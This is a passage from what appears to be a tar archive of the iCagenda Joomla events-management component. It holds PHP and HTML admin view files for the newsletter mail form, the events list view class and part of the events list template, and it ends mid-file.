$script .= "\t\t" . 'var form = document.adminForm;' . "\n";
$script .= "\t\t" . 'if (pressbutton == \'mail.cancel\') {' . "\n";
$script .= "\t\t\t" . 'Joomla.submitform(pressbutton);' . "\n";
$script .= "\t\t\t" . 'return;' . "\n";
$script .= "\t\t" . '}' . "\n";
$script .= "\t\t" . '// do field validation' . "\n";
$script .= "\t\t" . 'if (form.jform_subject.value == ""){' . "\n";
$script .= "\t\t\t" . 'alert("' . JText::_('COM_ICAGENDA_NEWSLETTER_NO_OBJ_ALERT', true) . '");' . "\n";
$script .= "\t\t" . '} else if (getSelectedValue(\'adminForm\',\'jform[eventid]\') == ""){' . "\n";
$script .= "\t\t\t" . 'alert("' . JText::_('COM_ICAGENDA_NEWSLETTER_NO_EVENT_SELECTED', true) . '");' . "\n";
$script .= "\t\t" . '} else if (getSelectedValue(\'adminForm\',\'jform[date]\') == ""){' . "\n";
$script .= "\t\t\t" . 'alert("' . JText::_('COM_ICAGENDA_NEWSLETTER_NO_DATE_SELECTED', true) . '");' . "\n";
//$script .= "\t\t" . '} else if (form.jform_message.value == ""){' . "\n";
//$script .= "\t\t\t" . 'alert("' . JText::_('COM_ICAGENDA_NEWSLETTER_NO_BODY_ALERT', true) . '");' . "\n";
$script .= "\t\t" . '} else {' . "\n";
$script .= "\t\t\t" . 'Joomla.submitform(pressbutton);' . "\n";
$script .= "\t\t" . '}' . "\n";
$script .= "\t\t" . '}' . "\n";

//JFactory::getDocument()->addScriptDeclaration($script);

// Access Administration Newsletter check.
if (JFactory::getUser()->authorise('icagenda.access.newsletter', 'com_icagenda'))
{
	?>
	<!--script type="text/javascript">
		Joomla.submitbutton = function(task)
		{
			if (task == 'event.cancel' || document.formvalidator.isValid(document.id('event-form'))) {
				Joomla.submitform(task, document.getElementById('event-form'));
			}
			else {
				alert('<?php echo $this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'));?>');
			}
		}
	</script-->

	<form action="<?php echo JRoute::_('index.php?option=com_icagenda&view=mail&layout=edit') ?>" method="post" name="adminForm" id="adminForm" class="form-validate" enctype="multipart/form-data">
		<div class="container">
			<!-- iCagenda Header -->
			<header>
				<h1>
					<?php echo JText::_('COM_ICAGENDA_TITLE_MAIL'); ?>&nbsp;<span>iCagenda</span>
				</h1>
				<h2>
					<?php echo JText::_('COM_ICAGENDA_COMPONENT_DESC'); ?>
					<!--nav class="iCheader-videos">
						<span style="font-variant:small-caps">Tutorial Videos</span>
						<a href="#">Video</a>
					</nav-->
				</h2>
			</header>

			<div>&nbsp;</div>

			<!-- Begin Content -->
			<h4><?php echo JText::_('COM_ICAGENDA_FORM_LBL_NEWSLETTER_LIST'); ?></h4>
			<div class="row-fluid">
				<div class="span12">
					<div class="span4 iCleft">
						<div class="control-group">
							<?php echo $this->form->getLabel('eventid'); ?>
							<div class="controls">
								<?php echo $this->form->getInput('eventid'); ?>
							</div>
						</div>
					</div>
					<div class="span4 iCleft">
						<div class="control-group">
							<?php echo $this->form->getLabel('date'); ?>
							<div class="controls">
								<?php echo $this->form->getInput('date'); ?>
							</div>
						</div>
					</div>
				</div>
			</div>
			<hr>
			<h4><?php echo JText::_('COM_ICAGENDA_TITLE_NEWSLETTER'); ?></h4>
			<div class="row-fluid">
				<div class="span12">
					<div class="control-group">
						<?php echo $this->form->getLabel('subject'); ?>
						<div class="controls">
							<?php echo $this->form->getInput('subject'); ?>
						</div>
					</div>
					<div class="control-group">
						<?php echo $this->form->getLabel('message'); ?>
						<div class="controls">
							<?php echo $this->form->getInput('message'); ?>
						</div>
					</div>
				</div>
			</div>
			<input type="hidden" name="option" value="com_icagenda" />
			<input type="hidden" name="task" value="" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
		<div class="clr"></div>
	</form>
	<?php
}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/mail/tmpl/index.html000060400000000032152455305270014164 0ustar00<html><body></body></html>com_icagenda/views/mail/index.html000060400000000032152455305270013210 0ustar00<html><body></body></html>com_icagenda/views/events/view.html.php000060400000016450152455305270014236 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-22
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class Admin - List of Events - iCagenda.
 */
class iCagendaViewEvents extends JViewLegacy
{
	protected $params;
	protected $state;
	protected $items;
	protected $pagination;
	protected $categories;
	protected $upcoming;

	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		$app = JFactory::getApplication();

		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			jimport( 'joomla.environment.request' );

			JHtml::stylesheet( 'com_icagenda/icagenda-back.j25.css', false, true );
		}

		$this->params		= JComponentHelper::getParams('com_icagenda');
		$this->state		= $this->get('State');
		$this->items		= $this->get('Items');
		$this->pagination	= $this->get('Pagination');

		$this->categories	= $this->get('Categories');
		$this->upcoming		= $this->get('Upcoming');
		$this->itemids		= $this->get('MenuItemID');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		$icagenda_categories = class_exists('icagendaCategories') ? icagendaCategories::getList('1') : false;

		if ( ! $icagenda_categories)
		{
			$app->enqueueMessage( JText::_('COM_ICAGENDA_ALERT_NO_CATEGORY_PUBLISHED')
								. '<br /><br /><a class="btn btn-success" href="index.php?option=com_icagenda&view=category&layout=edit" >'
								. JText::_('COM_ICAGENDA_LEGEND_NEW_CATEGORY') . '</a>'
								. ' <a class="btn btn-inverse btn-mini" href="index.php?option=com_icagenda&view=categories" >'
								. JText::_('ICCATEGORIES')
								. '</a>', 'warning' );
		}

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();

			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$this->sidebar = JHtmlSidebar::render();
			}
		}

		$canDo = iCagendaHelper::getActions();

		if (defined('IC_LIBRARY')
			&& $canDo->get('icagenda.access.events'))
		{
			parent::display($tpl);
		}
		else
		{
			if (defined('IC_LIBRARY')) $app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
			$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
		}
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	1.6
	 */
	protected function addToolbar()
	{
		require_once JPATH_COMPONENT . '/helpers/icagenda.php';

		$state					= $this->get('State');
		$user					= JFactory::getUser();
		$userId					= $user->get('id');
		$canDo					= iCagendaHelper::getActions();
		$icagenda_categories	= class_exists('icagendaCategories') ? icagendaCategories::getList() : false;

		// Set Title
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title('iCagenda - ' . JText::_('COM_ICAGENDA_TITLE_EVENTS'), 'events.png');
		}
		else
		{
			JToolBarHelper::title('iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_TITLE_EVENTS') . '</span>', 'calendar');
		}

		$icTitle = JText::_('COM_ICAGENDA_TITLE_EVENTS');

		$document		= JFactory::getDocument();
		$app			= JFactory::getApplication();
		$sitename		= $app->getCfg('sitename');
		$title			= $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;

		$document->setTitle($title);

		//Check if the form exists before showing the add/edit buttons
		$formPath = JPATH_COMPONENT_ADMINISTRATOR . '/views/event';

		if (file_exists($formPath)
			&& $icagenda_categories
			)
		{
			if ($canDo->get('core.create'))
			{
				JToolBarHelper::addNew('event.add','JTOOLBAR_NEW');
			}

			if ($canDo->get('core.edit') || $canDo->get('core.edit.own'))
			{
				JToolBarHelper::editList('event.edit');
			}

		}

		if ($canDo->get('core.edit.state')
			&& $icagenda_categories
			)
		{
			if (isset($this->items[0]->state))
			{
				JToolBarHelper::divider();
				JToolBarHelper::custom('events.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true);
				JToolBarHelper::custom('events.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);
			}
			else
			{
				// If this component does not use state then show a direct delete button as we can not trash
				JToolBarHelper::deleteList('', 'events.delete','JTOOLBAR_DELETE');
			}

			if (isset($this->items[0]->state))
			{
				JToolBarHelper::divider();
				JToolBarHelper::archiveList('events.archive','JTOOLBAR_ARCHIVE');
			}

			if (isset($this->items[0]->checked_out))
			{
				JToolBarHelper::custom('events.checkin', 'checkin.png', 'checkin_f2.png', 'JTOOLBAR_CHECKIN', true);
			}
		}

		// Show trash and delete for components that uses the state field
		if (isset($this->items[0]->state)
			&& $icagenda_categories
			)
		{
			if ($state->get('filter.state') == -2 && $canDo->get('core.delete'))
			{
				JToolBarHelper::deleteList('', 'events.delete','JTOOLBAR_EMPTY_TRASH');
				JToolBarHelper::divider();
			}
			elseif ($canDo->get('core.edit.state'))
			{
				JToolBarHelper::trash('events.trash','JTOOLBAR_TRASH');
				JToolBarHelper::divider();
			}
		}

		if ($canDo->get('core.admin'))
		{
			JToolBarHelper::preferences('com_icagenda');
		}

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			JHtmlSidebar::setAction('index.php?option=com_icagenda&view=events');

			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_SELECT_STATE'),
				'filter_published',
				JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.state'), true)
			);
			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_SELECT_CATEGORY'),
				'filter_category',
				JHtml::_('select.options', $this->get('Categories'), 'value', 'text', $this->state->get('filter.category'), true)
			);
			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_SELECT_DATES'),
				'filter_upcoming',
				JHtml::_('select.options', $this->get('Upcoming'), 'value', 'text', $this->state->get('filter.upcoming'), true)
			);
			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_SELECT_SITE_ITEMID'),
				'filter_site_itemid',
				JHtml::_('select.options', $this->get('MenuItemID'), 'value', 'text', $this->state->get('filter.site_itemid'), true)
			);
		}
	}

	/**
	 * Method to save the submitted ordering values for records via AJAX.
	 *
	 * @return    void
	 *
	 * @since   3.0
	 */
	public function saveOrderAjax()
	{
		// Get the input
		$input	= JFactory::getApplication()->input;
		$pks	= $input->post->get('cid', array(), 'array');
		$order	= $input->post->get('order', array(), 'array');

		// Sanitize the input
		JArrayHelper::toInteger($pks);
		JArrayHelper::toInteger($order);

		// Get the model
		$model	= $this->getModel();

		// Save the ordering
		$return	= $model->saveorder($pks, $order);

		if ($return)
		{
			echo "1";
		}

		// Close the application
		JFactory::getApplication()->close();
	}
}
com_icagenda/views/events/tmpl/default.php000060400000064400152455305270014717 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-29
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.modal');
JHtml::_('behavior.multiselect');

$app		= JFactory::getApplication();
$user		= JFactory::getUser();
$userId		= $user->get('id');
$listOrder	= $this->state->get('list.ordering');
$listDirn	= $this->state->get('list.direction');
$canOrder	= $user->authorise('core.edit.state', 'com_icagenda');
$saveOrder	= $listOrder == 'a.ordering';

// Switch Joomla 2.5 / 3.x
if (version_compare(JVERSION, '3.0', 'lt'))
{
	JHtml::_('behavior.tooltip');
}
else
{
	// Include the component HTML helpers.
	JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
	JHtml::_('bootstrap.tooltip');
	JHtml::_('formbehavior.chosen', 'select');
	JHtml::_('dropdown.init');

	$archived	= $this->state->get('filter.published') == 2 ? true : false;
	$trashed	= $this->state->get('filter.published') == -2 ? true : false;

	if ($saveOrder)
	{
		$saveOrderingUrl = 'index.php?option=com_icagenda&task=events.saveOrderAjax&tmpl=component';
		JHtml::_('sortablelist.sortable', 'eventsList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
	}
}

// Check if GD is enabled
if (extension_loaded('gd') && function_exists('gd_info'))
{
	$thumb_generator = $this->params->get('thumb_generator', 1);
//	echo "It looks like GD is installed";
}
else
{
	$thumb_generator = 0;
	JError::raiseWarning('101', JText::_('COM_ICAGENDA_PHP_ERROR_GD'));
}

// Check if fopen is allowed
$fopen = true;
$result = ini_get('allow_url_fopen');

if (empty($result))
{
	JError::raiseWarning('101', JText::_('COM_ICAGENDA_PHP_ERROR_FOPEN'));
	$fopen = false;
}

// 3.3.3
$sortFields = array();
?>
<form action="<?php echo JRoute::_('index.php?option=com_icagenda&view=events'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif;?>

	<!-- Filters Joomla 2.5 (DEPRECATED iCagenda 3.7.x and after) -->
	<?php if (version_compare(JVERSION, '3.0', 'lt')) : ?>

		<fieldset id="filter-bar">
			<div class="filter-search fltlft">
				<label class="filter-search-lbl" for="filter_search"><?php echo JText::_('JSEARCH_FILTER_LABEL'); ?></label>
				<input type="text" name="filter_search" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('Search'); ?>" />
				<button type="submit"><?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?></button>
				<button type="button" onclick="document.id('filter_search').value='';this.form.submit();"><?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?></button>
			</div>
			<div class="filter-select fltrt">
				<select name="filter_published" class="inputbox" onchange="this.form.submit()">
					<option value=""><?php echo JText::_('COM_ICAGENDA_SELECT_STATE');?></option>
					<?php echo JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), "value", "text", $this->state->get('filter.state'), true);?>
				</select>

				<select name="filter_category" class="inputbox" onchange="this.form.submit()">
					<option value=""><?php echo JText::_('COM_ICAGENDA_SELECT_CATEGORY');?></option>
					<?php echo JHtml::_('select.options', $this->categories, 'value', 'text', $this->state->get('filter.category'));?>
				</select>

				<select name="filter_upcoming" class="inputbox" onchange="this.form.submit()">
					<option value=""><?php echo JText::_('COM_ICAGENDA_SELECT_DATES');?></option>
					<?php echo JHtml::_('select.options', $this->upcoming, 'value', 'text', $this->state->get('filter.upcoming'));?>
				</select>

				<select name="filter_site_itemid" class="inputbox" onchange="this.form.submit()">
					<option value=""><?php echo JText::_('COM_ICAGENDA_SELECT_SITE_ITEMID');?></option>
					<?php echo JHtml::_('select.options', $this->itemids, 'value', 'text', $this->state->get('filter.site_itemid'));?>
				</select>
			</div>
		</fieldset>
		<div class="clr"> </div>

	<!-- Search Tools Joomla 3 -->
	<?php else : ?>

		<div id="filter-bar" class="btn-toolbar">
			<div class="filter-search btn-group pull-left">
				<label for="filter_search" class="element-invisible"><?php echo JText::_('COM_ICAGENDA_FILTER_SEARCH_EVENTS_DESC'); ?></label>
				<input type="text" name="filter_search" placeholder="<?php echo JText::_('COM_ICAGENDA_FILTER_SEARCH_EVENTS_DESC'); ?>" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('COM_ICAGENDA_FILTER_SEARCH_EVENTS_DESC'); ?>" />
			</div>
			<div class="btn-group pull-left">
				<button class="btn tip hasTooltip" type="submit" title="<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>"><i class="icon-search"></i></button>
				<button class="btn tip hasTooltip" type="button" onclick="document.id('filter_search').value='';this.form.submit();" title="<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?>"><i class="icon-remove"></i></button>
			</div>
			<div class="btn-group pull-right hidden-phone">
				<label for="limit" class="element-invisible"><?php echo JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC'); ?></label>
				<?php echo $this->pagination->getLimitBox(); ?>
			</div>
		</div>
		<div class="clearfix"> </div>

	<?php endif;?>

	<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
		<table class="adminlist">
	<?php else : ?>
		<table class="table table-striped" id="eventsList">
	<?php endif; ?>
			<!-- START HEAD -->
			<thead>
				<tr>

				<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
					<!-- Ordering HEADER Joomla 3.x -->
					<th width="1%" class="nowrap center hidden-phone">
						<?php echo JHtml::_('grid.sort', '<i class="icon-menu-2"></i>', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING'); ?>
					</th>
				<?php endif; ?>

					<!-- CheckBox HEADER -->
					<th width="1%" class="hidden-phone">
						<input type="checkbox" name="checkall-toggle" value="" title="<?php echo JText::_('JGLOBAL_CHECK_ALL'); ?>" onclick="Joomla.checkAll(this)" />
					</th>

					<!-- Status HEADER -->
					<th width="1%" style="min-width:55px" class="nowrap center">
						<?php echo JHtml::_('grid.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
					</th>

					<!-- Approval HEADER -->
					<th width="1%" style="min-width:55px" class="nowrap center">
						<?php echo JHtml::_('grid.sort', 'COM_ICAGENDA_EVENTS_APPROVAL', 'a.approval', $listDirn, $listOrder); ?>
					</th>

					<!-- Image HEADER -->
					<th width="130px" class="nowrap center hidden-phone">
						<?php echo JHtml::_('grid.sort', 'COM_ICAGENDA_EVENTS_IMAGE', 'a.image', $listDirn, $listOrder); ?>
					</th>

					<!-- Title HEADER -->
					<th>
						<?php echo JHtml::_('grid.sort', 'COM_ICAGENDA_EVENTS_TITLE', 'a.title', $listDirn, $listOrder); ?> |
						<?php echo JHtml::_('grid.sort', 'COM_ICAGENDA_TITLE_CATEGORY', 'category', $listDirn, $listOrder); ?>
						<?php //echo JHtml::_('grid.sort', 'COM_ICAGENDA_FORM_FRONTEND_SUBMIT_ITEMID_LBL', 'a.site_itemid', $listDirn, $listOrder); ?>
					</th>

					<!-- Image HEADER -->
					<th width="15%" class="nowrap hidden-phone">
						<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_EVENTS_NEXT', 'a.next', $listDirn, $listOrder); ?>
					</th>

				<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
					<!-- Ordering HEADER Joomla 2.5 -->
					<?php if (isset($this->items[0]->ordering)) { ?>
					<th width="10%">
						<?php echo JHtml::_('grid.sort',  'JGRID_HEADING_ORDERING', 'a.ordering', $listDirn, $listOrder); ?>
						<?php if ($canOrder && $saveOrder) :?>
							<?php echo JHtml::_('grid.order',  $this->items, 'filesave.png', 'events.saveorder'); ?>
						<?php endif; ?>
					</th>
					<?php } ?>
				<?php endif; ?>

					<!-- Access HEADER -->
					<th width="10%" class="nowrap hidden-phone">
						<?php echo JHtml::_('grid.sort', 'JGRID_HEADING_ACCESS', 'access', $listDirn, $listOrder); ?>
					</th>

					<!-- Author HEADER -->
					<th width="10%" class="nowrap hidden-phone">
						<?php echo JHtml::_('grid.sort',  'JAUTHOR', 'a.username', $listDirn, $listOrder); ?>
					</th>

					<!-- Language HEADER -->
					<th width="5%" class="nowrap hidden-phone">
						<?php echo JHtml::_('grid.sort', 'JGRID_HEADING_LANGUAGE', 'language', $listDirn, $listOrder); ?>
					</th>

					<!-- ID HEADER -->
					<th width="1%" class="nowrap hidden-phone">
						<?php echo JHtml::_('grid.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
					</th>

				</tr>
			</thead>
			<!-- END HEAD -->

			<!-- START FOOT -->
			<tfoot>
				<tr>
					<td colspan="12">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<!-- END FOOT -->

			<!-- START BODY -->
			<tbody valign="top">
			<?php foreach ($this->items as $i => $item) : ?>
				<?php
				$ordering	= ($listOrder == 'a.ordering');
				$canCreate	= $user->authorise('core.create', 'com_icagenda');
				$canEdit	= $user->authorise('core.edit', 'com_icagenda');
				$canCheckin	= $user->authorise('core.manage', 'com_icagenda') || $item->checked_out == $userId || $item->checked_out == 0;
				$canChange	= $user->authorise('core.edit.state', 'com_icagenda') && $canCheckin;
				$canEditOwn	= $user->authorise('core.edit.own', 'com_icagenda') && $item->created_by == $userId;
//				$canEditOwn = $user->authorise('core.edit.own', 'com_icagenda.events.'.$item->id) && $item->created_by == $userId;

				// Get Access Names
				$db = JFactory::getDBO();
				$db->setQuery(
					'SELECT `title`' .
					' FROM `#__viewlevels`' .
					' WHERE `id` = '. (int) $item->access
				);
				$access_title = $db->loadObject()->title;

				// Get Today and Next Date (Y-m-d)
				$eventTimeZone	= null;
				$today			= JHtml::date('now', 'Y-m-d');
				$nextdate		= JHtml::date($item->next, 'Y-m-d', $eventTimeZone);
				$isDate			= iCDate::isDate($item->next);
				?>
				<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->catid?>">

					<!-- Ordering Joomla 3.x -->
				<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
					<td class="order nowrap center hidden-phone">
					<?php if ($canChange) :
						$disableClassName = '';
						$disabledLabel	  = '';

						if ( ! $saveOrder) :
							$disabledLabel    = JText::_('JORDERINGDISABLED');
							$disableClassName = 'inactive tip-top';
						endif; ?>
						<span class="sortable-handler hasTooltip <?php echo $disableClassName; ?>" title="<?php echo $disabledLabel; ?>">
							<i class="icon-menu"></i>
						</span>
						<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order " />
					<?php else : ?>
						<span class="sortable-handler inactive" >
							<i class="icon-menu"></i>
						</span>
					<?php endif; ?>
					</td>
				<?php endif; ?>

					<!-- CheckBox Joomla -->
					<td class="center hidden-phone">
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					</td>

					<!-- Status Joomla -->
				<?php if (isset($this->items[0]->state)) : ?>
					<td class="center">
						<?php
						// Control of dates if valid (EDIT SINCE VERSION 3.0)
						if ( ! $isDate)
						{
							echo '<br/><i class="icon-warning"></i><br/>';
							echo '<span style="color:red;"><strong>' . JText::_('COM_ICAGENDA_NO_VALID_DATE') . '</strong></span>';
							if ($item->state == '1')
							{
								//$state = 0;
								$db		= Jfactory::getDbo();
								$query	= $db->getQuery(true);
								$query->clear();
								$query->update(' #__icagenda_events ');
								$query->set(' state = 0 ' );
								$query->where(' id = ' . (int) $item->id );
								$db->setQuery((string)$query);
								$db->query($query);
 							}
						}
						else
						{
							echo JHtml::_('jgrid.published', $item->state, $i, 'events.', $canChange, 'cb');
						}
						?>
					</td>
					<td class="center">
						<?php
						require_once JPATH_COMPONENT .'/helpers/html/events.php';
						$approved = empty( $item->approval ) ? 0 : 1;
						echo JHtml::_('jgrid.state', JHtmlEvents::approveEvents(), $approved, $i, 'events.', (boolean) $approved);
						?>
						<?php
						//require_once JPATH_COMPONENT .'/helpers/approved.php';
						//echo JHtml::_('approved.approved', $item->approval, $i, 'events.'); ?>
						<?php //echo JHtml::_('approved.approved', $item->approval, $i); ?>
						<?php //echo icHtmlHelper::approveEvent($item->approval, $i, 'events', $canChange, 'cb'); ?>
					</td>
				<?php endif; ?>

					<!-- Image Joomla -->
					<td class="small hidden-phone">
						<div style="background:#F4F4F4; padding:5px; width:120px; text-align:center; overflow:hidden;">
							<?php
							// Set if run iCthumb
							if (($item->image) && ($thumb_generator == 1))
							{
								// Get media path
								$params_media = JComponentHelper::getParams('com_media');
								$image_path = $params_media->get('image_path', 'images');

								// Paths to thumbs folder
								$thumbsPath 			= $image_path.'/icagenda/thumbs';

								// Large Size Options
								$l_thumbOptions		= $this->params->get('thumb_large');
								$l_width			= is_numeric($l_thumbOptions[0]) ? $l_thumbOptions[0] : '900';
								$l_height			= is_numeric($l_thumbOptions[1]) ? $l_thumbOptions[1] : '600';
								$l_quality			= is_numeric($l_thumbOptions[2]) ? $l_thumbOptions[2] : '100';
								$l_crop				= ! empty($l_thumbOptions[3]) ? true : false;

								// Medium Size Options
								$m_thumbOptions		= $this->params->get('thumb_medium');
								$m_width			= is_numeric($m_thumbOptions[0]) ? $l_thumbOptions[0] : '300';
								$m_height			= is_numeric($m_thumbOptions[1]) ? $l_thumbOptions[1] : '300';
								$m_quality			= is_numeric($m_thumbOptions[2]) ? $l_thumbOptions[2] : '100';
								$m_crop				= ! empty($m_thumbOptions[3]) ? true : false;

								// Small Size Options
								$s_thumbOptions		= $this->params->get('thumb_small');
								$s_width			= is_numeric($s_thumbOptions[0]) ? $s_thumbOptions[0] : '100';
								$s_height			= is_numeric($s_thumbOptions[1]) ? $s_thumbOptions[1] : '100';
								$s_quality			= is_numeric($s_thumbOptions[2]) ? $s_thumbOptions[2] : '100';
								$s_crop				= ! empty($s_thumbOptions[3]) ? true : false;

								// XSmall Size Options
								$xs_thumbOptions	= $this->params->get('thumb_xsmall');
								$xs_width			= is_numeric($xs_thumbOptions[0]) ? $xs_thumbOptions[0] : '48';
								$xs_height			= is_numeric($xs_thumbOptions[1]) ? $xs_thumbOptions[1] : '48';
								$xs_quality			= is_numeric($xs_thumbOptions[2]) ? $xs_thumbOptions[2] : '80';
								$xs_crop			= ! empty($xs_thumbOptions[3]) ? true : false;

								// Generate large thumb if not exist
								iCThumbGet::thumbnail($item->image, $thumbsPath, 'themes',
									$l_width, $l_height, $l_quality, $l_crop, 'ic_large', null, true);

								// Generate medium thumb if not exist
								iCThumbGet::thumbnail($item->image, $thumbsPath, 'themes',
									$m_width, $m_height, $m_quality, $m_crop, 'ic_medium');

								// Generate small thumb if not exist
								iCThumbGet::thumbnail($item->image, $thumbsPath, 'themes',
									$s_width, $s_height, $s_quality, $s_crop, 'ic_small');

								// Generate x-small thumb if not exist
								iCThumbGet::thumbnail($item->image, $thumbsPath, 'themes',
									$xs_width, $xs_height, $xs_quality, $xs_crop, 'ic_xsmall');

								// Sub-folder Destination ($thumbsPath / 'subfolder' /)
								$subFolder = 'system';

								// Display thumbnail in admin events list
								echo iCThumbGet::thumbnailImgTagLinkModal($item->image, $thumbsPath, $subFolder, '120', '100', '100', false);
							}
							elseif ($item->image
								&& $thumb_generator == 0)
							{
								if (filter_var($item->image, FILTER_VALIDATE_URL))
								{
									echo '<a href="' . $item->image . '" class="modal">';
									echo '<img src="' . $item->image . '" alt="" /></a>';
								}
								else
								{
									echo '<a href="../' . $item->image . '" class="modal">';
									echo '<img src="../' . $item->image . '" alt="" /></a>';
								}
							}
							else
							{
								echo '<img style="max-width:120px; max-height:100px;" src="../media/com_icagenda/images/nophoto.jpg" alt="" />';
							}
							// END iCthumb
							?>
						</div>
					</td>

					<!-- Title & Category -->
					<td class="has-context">
						<div class="pull-left">
							<?php if ($item->checked_out) : ?>
								<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'events.', $canCheckin); ?>
							<?php endif; ?>
							<?php if ($item->language == '*'):?>
								<?php $language = JText::alt('JALL', 'language'); ?>
							<?php else:?>
								<?php $language = $item->language ? $this->escape($item->language) : JText::_('JUNDEFINED'); ?>
							<?php endif;?>
							<?php if ($canEdit || $canEditOwn) : ?>
								<a href="<?php echo JRoute::_('index.php?option=com_icagenda&task=event.edit&id=' . $item->id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
									<?php echo $this->escape($item->title); ?></a>
							<?php else : ?>
								<span title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>"><?php echo $this->escape($item->title); ?></span>
							<?php endif; ?>
							<div class="small">
								<?php echo JText::_('JCATEGORY') . ": " . $this->escape($item->category); ?>
							</div>
							<?php if (($item->place) OR ($item->city) OR ($item->country)) : ?>
							<p>
								<?php if ($item->place) : ?>
								<div class="small iC-italic-grey">
									<?php echo JText::_('COM_ICAGENDA_TITLE_LOCATION') . ": " . $this->escape($item->place); ?>
								</div>
								<?php endif; ?>
								<?php if ($item->city) : ?>
								<div class="small iC-italic-grey">
									<?php echo JText::_('COM_ICAGENDA_FORM_LBL_EVENT_CITY') . ": " . $this->escape($item->city); ?>
								</div>
								<?php endif; ?>
								<?php if ($item->country) : ?>
								<div class="small iC-italic-grey">
									<?php echo JText::_('COM_ICAGENDA_FORM_LBL_EVENT_COUNTRY') . ": " . $this->escape($item->country); ?>
								</div>
							</p>
							<?php endif; ?>
							<?php endif; ?>
							<?php if (!empty($item->site_itemid)) : ?>
							<a class="hasTooltip" href="<?php echo JURI::root() . 'index.php?option=com_icagenda&view=submit&Itemid=' . $item->site_itemid; ?>" title="<?php echo JText::_('COM_ICAGENDA_FORM_FRONTEND_SUBMIT_ITEMID_DESC'); ?>" target="_blank">
								<div class="btn btn-primary btn-mini">
									<?php echo JText::_('COM_ICAGENDA_FORM_FRONTEND_SUBMIT_ITEMID_LBL') . ": " . $this->escape($item->site_itemid); ?>
								</div>
							</a>
							<?php endif; ?>
						</div>

					<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>

						<!-- DropDown Edit Joomla 3 -->
						<div class="pull-left">
							<?php
							if ($canChange || $canEditOwn)
							{
								// Create dropdown items
